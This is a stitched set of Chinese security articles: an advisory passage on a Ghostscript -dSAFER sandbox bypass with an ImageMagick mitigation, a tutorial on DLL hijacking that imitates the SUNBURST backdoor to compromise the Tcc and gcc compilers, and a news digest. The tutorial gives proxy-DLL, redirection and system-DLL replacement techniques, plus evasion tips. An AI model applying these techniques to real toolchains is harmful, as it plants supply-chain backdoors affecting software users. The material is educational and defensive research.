在ghostscript中由于以往的安全事件，针对安全问题gs官方采用增加参数-dSAFER来开启安全沙箱，但该沙箱在程序执行过程中由LockSafetyParams这个值进行控制，此次Taviso发现通过restore操作会将该值成功覆盖，导致安全沙箱被绕过，引发命令执行漏洞。
## 0x01 漏洞影响
version <= 9.23（全版本、全平台）
官方未出缓解措施，最新版本受到影响。
漏洞导致所有引用ghostscript的上游应用收到影响。 常见应用如下：
* imagemagick
* libmagick
* graphicsmagick
* gimp
* python-matplotlib
* texlive-core
* texmacs
* latex2html
* latex2rtf
等
## 0x02 详细分析
对ghostscript进行调试。
可以看到在此处因为-dSAFER 被置为1
可以看到这里因为restore操作成功绕过了限制将LockSafetyParams成功置为0
在最后调用pope执行%pipe%命令之前的函数中依旧为0并且没有任何操作将LockSafetyParams的值修复。成功造成命令执行。
可见命令直接被带入popen函数。
## 0x03 利用效果
漏洞利用效果如下：
## 0x04 缓解措施
目前官方未给出缓解措施，建议卸载ghostscript。
使用ImageMagick，建议修改policy文件（默认位置：/etc/ImageMagick/policy.xml），在 <policymap>
中加入以下 <policy>（即禁用 PS、EPS、PDF、XPS coders）：
<policymap>
<policy domain="coder" rights="none" pattern="PS" />
<policy domain="coder" rights="none" pattern="EPS" />
<policy domain="coder" rights="none" pattern="PDF" />
<policy domain="coder" rights="none" pattern="XPS" />
</policymap>
## 0x05 时间线
**2018-08-18** taviso提交漏洞
**2018-08-22** 漏洞信息公开
**2018-08-22** 360CERT对漏洞分析跟进，发布预警分析
## 0x06 参考链接
1. [邮件列表](https://bugs.chromium.org/p/project-zero/issues/detail?id=1640)
2. [Ghostscript sandbox bypass lead ImageMagick to remote code execution](http://seclists.org/fulldisclosure/2016/Oct/77)
3. [multiple ghostscript -dSAFER sandbox problems](http://seclists.org/oss-sec/2016/q4/29) | 社区文章 |
**作者：0x7F@知道创宇404实验室
时间：2021年9月16日**
## 0x00 前言
2020年12月，SolarWinds 攻击事件引发全球的关注(<https://us-cert.cisa.gov/ncas/alerts/aa20-352a>)，攻击团队在 2020年上旬通过对 SolarWinds Orion
产品实现供应链攻击，导致诸多厂商被攻击，造成了不可估量的损失。这种国家间的 APT 攻击包含了大量的技术细节，其中供应链攻击的实现，也就是 SUNBURST
后门植入这一块引起了我极大的兴趣。
2021年1月，网上公开了 SUNBURST 后门植入的分析，后续又有安全研究者对植入细节进一步的优化，根据这些内容我展开了对 dll
劫持的学习和研究。本文对 dll 劫持进行了详细的介绍，并模仿 SUNBURST 后门植入的方法，尝试对 C 编译器实现"供应链攻击"。
本文测试环境为 `Windows7 x64 sp1`，开发环境为：`MinGW-x64(gcc-8.1.0) + Python3.6`。
## 0x01 后门植入和优化
我们可以简单看看 SUNBURST 后门植入的过程(<https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/>)：由一个名为 `taskhostsvc.exe` 的程序进行完成，该程序通过计划任务设置随主机启动运行。
`taskhostsvc.exe` 启动后通过创建互斥体保证只有一个实例在运行，然后每秒从进程中搜索 `MsBuild.exe` 进程(Microsoft
Build Engine)，找到后通过读取 `MsBuild.exe` 的内存，从命令行参数中获取构建项目的目录路径；
随后在项目目录下寻找 Orion 产品的 `InventoryManager.cs` 源码文件，并使用包含有恶意代码的源码文件进行替换，等待
`MsBuild.exe` 编译完成，最后再还原该文件，完成后门的植入；如下图
[1.SUNBURST后门植入的流程]
当然这个过程中还需要很多技术细节来保证后门与原始项目代码之间的兼容性，以及植入过程的隐蔽性等等；后续就有安全研究者说到在 APT
攻击中上文中的植入过程不够完美，比如计划任务和周期性的进程扫描很容易暴露攻击行为，其次监控 `MsBuild.exe`
运行到最终替换源码文件，这中间的执行时间可能影响后门植入的成功率。
安全研究者提出了使用 dll
劫持来优化后门植入的过程(<https://www.a12d404.net/ranting/2021/01/17/msbuild-backdoor.html>)，其研究过程发现 `MSBuild.exe` 启动过程中会去优先加载指定目录的 dll，如下：
[2.MSBuild优先加载的部分dll文件(ref:https://www.a12d404.net/ranting/2021/01/17/msbuild-backdoor.html)]
如果我们将恶意 dll 重命名并放置在这些 `"load-not-found-dll"` 的路径下，就可以实现 dll
劫持，执行我们的恶意代码，原文作者根据这种方式编写代码进行了演示。相比于
`taskhostsvc.exe`，使用这种方式就不需要额外的进程来进行监控了，并且 dll
在程序执行前加载、在程序执行后释放，这个时间点也很适合用于对程序进行控制和清理。
## 0x02 dll劫持概要
dll(动态链接库)作为 windows 的函数库，有助于促进代码的模块化、代码重用、有效的内存使用并减少磁盘空间；一个应用程序运行时可能需要依赖于多个
dll 的函数才能完成功能，如果控制其中任一 dll，那么便可以控制该应用程序的执行流程。
要学习 dll 劫持，那必须先了解 dll 的搜索顺序，这也是攻防的兵家必争之地，微软近年来也不断的在这一块进行加固，对于桌面程序(非UWP应用)目前默认
dll 的搜索顺序为(<https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order>)：
1. 应用程序加载的目录
2. 系统目录，使用 GetSystemDirectory 获取该路径
3. 16 位系统目录
4. Windows 目录，使用 GetWindowsDirectory 获取该路径
5. 当前目录
6. PATH 环境变量中列出的目录
> 默认情况下 `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session
> Manager\SafeDllSearchMode` 处于开启状态；如果手动设置为 0，关闭该安全选项，搜索顺序为：在以上顺序基础上，将
> `5.当前目录` 修改至 `2.系统目录` 的位置，其他顺移。
应用程序加载 dll 时如果仅指定 dll 名称时，那么将按照以上顺序搜索 dll 文件；不过在加载之前还需要满足以下两条规范：
1. 当内存中已加载相同模块名称的 dll 时，系统将直接加载该 dll，不会进行搜索；除非设置了 dll 重定向选项
2. 如果要加载的 dll 模块属于 Known DLLs，系统直接加载系统目录下的该 dll，不会进行搜索；Known DLLs 列表：`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`
> 由于 dll 迭代更新可能出现不兼容的问题，微软提出 dll 重定向解决方案，以便应用程序可以自定义选择加载 dll
在了解以上基础内容后，在 dll 搜索路径上对文件进行替换，那么便可以实现 dll 劫持。
> 微软在 dll 这一块所做的安全加固详情可以参考：<https://docs.microsoft.com/en-> us/windows/win32/dlls/dynamic-link-library-security>
## 0x03 dll函数转发
使用恶意 dll 替换原文件，应用程序便可以加载我们的 dll 并执行恶意代码，但是应用程序运行依赖于 dll 提供的函数，恶意 dll
必须提供相同的功能才能保证应用程序的正常运行；所以我们先来了解下 dll 函数转发。
**1.手动转发**
当 dll 的导出函数比较少时，我们可以按照正常的 dll 开发流程，逐个定义函数名称，然后在函数内部使用 `LoadLibrary()` 函数调用原
dll 的对应函数完成功能，如下：
[3.LoadLibrary转发函数]
**2.def文件**
当 dll 的导出函数太多时，我们就不能手动转发了，使用模块定义(.def)文件编写导出函数的信息，由链接器自动实现函数转发，细节可以参考
<https://docs.microsoft.com/en-us/cpp/build/reference/module-definition-dot-def-files?view=msvc-160>。
我们尝试生成 `version.dll` 的恶意 dll：在 `test.c` 文件中编写恶意代码插入到 `DllMain` 的执行流程中，并在
`test.def` 中编写函数转发规则：
[4.使用dll模块定义进行函数转发]
随后进行编译生成 dll 文件，gcc 编译如下：
gcc -Wall -shared test.c test.def -o version.dll
在 `.def` 文件中我们将原始的文件命名为 `version_origin.dll`，当应用程序运行时将加载我们恶意的
`version.dll`，当调用函数时，将由恶意的 `version.dll` 进行函数转发：
something.exe => version.dll (malware) => version_origin.dll
这里我编写了个 Python 脚本可以根据 dll
自动生成模块定义文件[dllproxy_def_generate.py](https://images.seebug.org/archive/dllproxy_def_generate.py)，使用如下：
[5.自动生成模块定义文件]
> 部分 dll 导出函数没有导出名称，只有导出序号，Gcc 和 Tcc 不支持按序号导出的函数转发，读者遇到的话可以使用 VisualStdio
**3.pragma预处理**
除了上文使用模块定义文件来实现函数转发，还可以使用 `pragma` 来实现，这一块细节可以参考
<https://docs.microsoft.com/en-us/cpp/preprocessor/comment-c-cpp?view=msvc-160>，同样以 `version.dll` 为例，函数转发的源码如下：
[6.pragma实现dll函数转发]
> 不过 `pragma` 关键词只有 Microsoft 编译器提供。
## 0x04 路径劫持
根据以上知识，我们可以自由的生成恶意 dll 文件，并且通过函数转发使其调用原始的 dll
函数，完全不会影响应用程序的正常运行。除此之外，恶意代码我们一般可以添加到 `DllMain` 中，这样在加载 dll
时便可以触发代码，或者添加到指定函数中，精确劫持程序流程，这取决于实际的场景。到这里我们的恶意 dll 就已经准备就绪了。
根据 dll 的类型，我们可以将劫持大致可以分为两种方式：
**1.自定义dll**
有些应用程序使用了自定义 dll，这个 dll 是该应用程序特有的，只会被该程序加载和使用。该 dll 可能放置在应用程序同目录下，或者 PATH
环境变量中，或者特定目录通过 `LoadLibrary([路径])` 来加载。
这种我们使用恶意 dll 替换目标文件，然后再将原始 dll
重命名并放置在应用程序同目录下(以便函数转发可以顺利进行)，当应用程序启动时就可以加载我们的恶意 dll。
**2.公共dll**
当然我们还可以对公共 dll 进行劫持(比如系统 dll `user32.dll`)，但是公共 dll
一般都会提前被其他进程加载，当新的应用程序需要加载时，将直接从内存进行加载和调用，如果我们使用恶意 dll 替换了公共 dll，需要通过重启才能生效。
比如下面是我们使用恶意 dll 替换 `msvcrt.dll`，恶意 dll 在加载时输出应用程序路径，重启后可以看到：
[7.劫持系统dll示例]
由于是公共 dll，那么所有的程序都会加载恶意 dll，这种方法可以用于监控、蜜罐等场景。
> 1.替换系统dll，可以用普通用户修改文件为拥有者，然后再设置读写权限，就可以修改和替换文件了
> 2.不能劫持 `ntdll.dll / kernel32.dll` 等非常底层的 dll，因为这些 dll 实现了程序装载、函数转发等功能
## 0x05 dll重定向劫持
在我们的学习过程中发现，有些应用程序只依赖了系统 dll，并且这些 dll 已经被其他程序加载了，比如 MinGW(gcc) 只依赖了
`kernel32.dll` 和 `msvcrt.dll`，除了上文公共 dll 劫持，还有其他更好的办法吗？
在「0x02 dll劫持概要」中我们还提到一种特例：dll 重定向(<https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection>)，当模块名称相同的 dll
已经被其他应用程序加载到内存中时，可以使用该方法强制加载指定的 dll 文件。通过这种方式，也可以实现 dll 劫持。
dll重定向默认为关闭状态，我们在注册表中 `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options` 添加 `DevOverrideEnable (DWORD)` 字段并设置为 1，来开启该功能，重启后生效。
[8.注册表开启dll重定向]
我们有两种方式来使用 dll 重定向：
**1\. .local**
在应用程序同目录下，创建 `AppName.exe.local` 的目录，应用程序启动时将优先从该目录下加载 dll 文件。
我们编写了个 `HelloWorld` 的 C 程序，生成恶意的 `msvcrt.dll` 进行演示，目录结构为：
.
├── test.exe.local
│ ├── msvcrt.dll
│ └── msvcrt_origin.dll
├── helloworld.c
└── test.exe
运行演示如下：
[9.local重定向示例]
**2.manifest**
还可以使用 manifest 配置文件(xml文件)，优先级高于 `.local`，详细可以参考
<https://docs.microsoft.com/en-us/windows/win32/sbscs/application-manifests>，构建目录结构如下：
.
├── helloworld.c
├── msvcrt_origin.dll
├── msvcrt.dll
├── msvcrt.dll.manifest
├── test.exe
└── test.exe.manifest
其中 manifest 文件内容为：
[10.manifest内容示例]
同样可以加载恶意 dll 文件。
## 0x06 Tcc劫持实现
Tcc(Tiny C Compiler) 是一个相当小的 C 编译器，我们从简单的开始对 C 编译器进行"供应链攻击"。
我这里使用了 `Tcc 0.9.27` 版本，结合逆向分析可以确定 `tcc.exe` 依赖了同目录下的 `libtcc.dll` 文件，直接替换该 dll
文件即可。
我们模仿 SUNBURST 后门植入的方法，编写恶意代码 demo
如下([libtcc.c](https://images.seebug.org/archive/libtcc.c) \+
[libtcc.def](https://images.seebug.org/archive/libtcc.def))：
[11.Tcc劫持代码demo]
编译后使用恶意 dll 替换 `libtcc.dll`，并将原始文件重命名为 `libtcc_origin.dll`，运行演示如下：
[12.Tcc劫持演示]
可以看到通过 Tcc 编译的程序，执行时触发了恶意代码 `backdoor`。
## 0x07 Gcc劫持实现
我们再来尝试下 Gcc(MinGW)，通过分析发现他只依赖了 `kernel32.dll` 和 `msvcrt.dll`，那么这里我们劫持
`msvcrt.dll` 文件，使用 dll 重定向的方法让 Gcc 加载恶意 dll 文件。
使用 Tcc 中的测试代码进行编译，然后在 Gcc 目录下添加 `gcc.exe.local` 文件夹，并将 `msvcrt.dll /
msvcrt_origin.dll` 放在文件夹下，如下：
[13.Gcc目录下dll重定向文件夹]
运行演示如下：
[14.Gcc劫持演示]
## 0x08 总结
在这里感谢 DAWU@知道创宇404实验室 小伙伴在我学习研究过程中提供的帮助。本文从 dll 劫持的基础出发，逐步讲解和演示 dll 劫持，对 dll
劫持的部分场景和利用进行说明，最后模仿了 SUNBURST 后门植入的方法实现了对 C 编译器的"供应链攻击"。
实际上文中提到的对编译器进行"供应链攻击"的方法还可以进一步优化，因为我们的方法会重新写入文件，从而会修改文件的写入时间，可能会暴露攻击行为；我们还可以通过逆向分析编译器的执行流程，更加精确的劫持读文件的函数，在内存中植入恶意代码，读者可以自行尝试下。
不过 dll
劫持的攻防对抗已经发展很长时间了，微软在保证功能的前提下，已经提供了较为完善的防御措施；对于上文介绍的劫持方法和场景，防御时可以按照文中的技术细节如：路径、注册表、文件进行排查。
## References:
<https://us-cert.cisa.gov/ncas/alerts/aa20-352a>
<https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/>
<https://www.a12d404.net/ranting/2021/01/17/msbuild-backdoor.html>
<https://en.wikipedia.org/wiki/2020_United_States_federal_government_data_breach>
<https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order>
<https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection>
<https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security>
<https://docs.microsoft.com/en-us/cpp/build/reference/module-definition-dot-def-files?view=msvc-160>
<https://docs.microsoft.com/en-us/cpp/preprocessor/comment-c-cpp?view=msvc-160>
<https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection>
<https://docs.microsoft.com/en-us/windows/win32/sbscs/application-manifests>
<https://www.exploit-db.com/docs/english/13140-api-interception-via-dll-redirection.pdf>
<https://github.com/erocarrera/pefile>
<https://github.com/tothi/dll-hijack-by-proxying>
<https://stackoverflow.com/questions/37252457/is-there-a-way-to-make-windows-7-x64-load-ntdll-dll-from-local-directory-not-sy>
* * * | 社区文章 |
# 3月15日安全热点 – CTS实验室因太快泄露漏洞信息遭到严重抨击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Adobe修补Flash，Dreamweaver中的关键漏洞
<http://www.zdnet.com/article/adobe-patches-critical-vulnerabilities-in-flash-dreamweaver/>
俄罗斯torrenting客户端后门导致400k恶意软件爆发
<https://www.bleepingcomputer.com/news/security/400k-malware-outbreak-caused-by-backdoored-russian-torrenting-client/>
<https://thehackernews.com/2018/03/windows-malware-hacking.html>
CTS 实验室因太快泄露漏洞信息遭到严重抨击
<http://www.zdnet.com/article/linus-torvalds-slams-cts-labs-over-amd-vulnerability-report/>
<https://www.bleepingcomputer.com/news/security/researchers-who-found-amd-cpu-flaws-explain-chaotic-disclosure/>
PSA：谨防Windows PowerShell凭据请求提示
<https://www.bleepingcomputer.com/news/security/psa-beware-of-windows-powershell-credential-request-prompts/>
Let’s Encrypts使用ACMEv2提供免费的通配符SSL证书
<https://www.bleepingcomputer.com/news/security/lets-encrypts-now-offers-free-wildcard-ssl-certificates-using-acmev2/>
<http://www.zdnet.com/article/lets-encrypt-free-wildcard-certificates-now-live/>
Microsoft删除Windows 10用户的防病毒注册表项检查
<https://www.bleepingcomputer.com/news/security/microsoft-removes-antivirus-registry-key-check-for-windows-10-users/>
一些英特尔微代码补丁已经出现在微软更新目录中
<https://www.bleepingcomputer.com/news/microsoft/a-bunch-of-intel-microcode-patches-have-arrived-on-the-microsoft-update-catalog/>
## 技术类
Microsoft安全通报CVE-2018-0787：ASP.NET核心特权提升漏洞
<https://github.com/aspnet/Home/issues/2954>
Reverse Engineering APIs: Coffee Meets Bagel
<https://medium.com/@_nikpatel/reverse-engineering-apis-coffee-meets-bagel-2eda71295613>
关于ADOBE COLDFUSION的讨论
<https://codewhitesec.blogspot.hk/2018/03/exploiting-adobe-coldfusion.html>
医疗安全——A therapeutic postmortem of connected medicine
> [Time of death? A therapeutic postmortem of connected
> medicine](https://securelist.com/time-of-death-connected-medicine/84315/)
Hermes 勒索软件通过近日曝出的Flash 0day漏洞攻击韩国
> [Hermes ransomware distributed to South Koreans via recent Flash zero-> day](https://blog.malwarebytes.com/threat-analysis/2018/03/hermes-> ransomware-distributed-to-south-koreans-via-recent-flash-zero-day/)
Tropic Trooper的新策略
<https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/>
如何制作密码破解程序
<https://secapps.com/blog/2018/03/how-to-make-a-password-cracker>
加密聊天：第一部分
<https://0x00sec.org/t/encrypted-chat-part-i/5839>
MikroTik RouterOS Chimay—Red堆栈冲突远程代码执行漏洞
<https://cxsecurity.com/issue/WLB-2018030114> | 社区文章 |
Subsets and Splits